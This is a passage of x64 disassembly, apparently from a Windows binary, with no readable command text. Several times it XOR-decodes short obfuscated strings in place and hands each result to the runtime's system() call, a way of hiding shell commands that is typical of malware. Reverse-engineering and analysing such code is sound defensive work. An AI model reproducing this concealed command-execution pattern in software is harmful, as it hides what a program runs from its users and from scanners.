movdqa xmm1, xmm7
movdqa xmm2, xmmword [0x14025db30]
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
jmp 0x1400681ec
mov r9, r10
nop dword [rax]
mov eax, 0x3521cfb3
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x1400681a0
movdqa xmm12, xmmword [0x14025db00]
movdqa xmm7, xmmword [0x14025db10]
movdqa xmm6, xmmword [0x14025db20]
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1783]
lea rcx, [rbp + 0x87]
mov byte [rbp + 0x87], al
call fcn.14007e530
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x1400684d3
mov r8d, esi
cmp r15d, 2
jl 0x14006849b
movdqa xmm2, xmmword [0x14025daf0]
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movdqa xmm2, xmmword [0x14025db30]
andps xmm1, xmm10
movd xmm0, eax
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
jmp 0x1400684d3
mov r9, r10
nop
mov eax, 0x3521cfb3
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x1400684a0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x17b4]
lea rcx, [rbp + 0x88]
mov byte [rbp + 0x88], al
call fcn.14007e550
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x1400687c1
mov r8d, esi
cmp r15d, 2
jl 0x140068786
movdqa xmm2, xmmword [0x14025daf0]
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movdqa xmm2, xmmword [0x14025db30]
andps xmm1, xmm10
movd xmm0, eax
packuswb xmm1, xmm1
mov r8d, Ordinal_26
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x140068790
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x184b]
lea rcx, [rbp + 0x89]
mov byte [rbp + 0x89], al
call fcn.14007e580
mov r10, rax
cmp byte [rax + 0x19], 0
je 0x140068ab1
mov r8d, esi
cmp r15d, 2
jl 0x140068a74
movdqa xmm2, xmmword [0x14025daf0]
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movdqa xmm2, xmmword [0x14025db30]
andps xmm1, xmm10
movd xmm0, eax
packuswb xmm1, xmm1
mov r8d, Ordinal_26
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x140068a80
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1865]
lea rcx, [rbp + 0x8a]
mov byte [rbp + 0x8a], al
call fcn.14007e5b0
mov r10, rax
cmp byte [rax + 0x19], 0
je 0x140068da1
mov r8d, esi
cmp r15d, 2
jl 0x140068d64
movdqa xmm2, xmmword [0x14025daf0]
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movdqa xmm2, xmmword [0x14025db30]
andps xmm1, xmm10
movd xmm0, eax
packuswb xmm1, xmm1
mov r8d, Ordinal_26
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x140068d70
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x17cd]
lea rcx, [rbp + 0x8b]
mov byte [rbp + 0x8b], al
call fcn.14007e5e0
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x140069091
mov r8d, esi
cmp r15d, 2
jl 0x140069054
movdqa xmm2, xmmword [0x14025daf0]
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movdqa xmm2, xmmword [0x14025db30]
andps xmm1, xmm10
movd xmm0, eax
packuswb xmm1, xmm1
mov r8d, Ordinal_26
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x140069060
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x18ea]
lea rcx, [rbp + 0x8c]
mov byte [rbp + 0x8c], al
call fcn.14007e610
mov r10, rax
cmp byte [rax + 0x1c], 0
je 0x140069211
mov r8d, esi
cmp r15d, 2
jl 0x1400691d3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x1400690e0
cmp r8d, 0x1d
jge 0x140069211
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x1400691e0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3520]
lea rcx, [rbp + 0x8d]
mov byte [rbp + 0x8d], al
call fcn.14007e640
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140069391
mov r8d, esi
cmp r15d, 2
jl 0x140069353
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140069260
cmp r8d, 0x21
jge 0x140069391
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x21
jl 0x140069360
mov rcx, r10
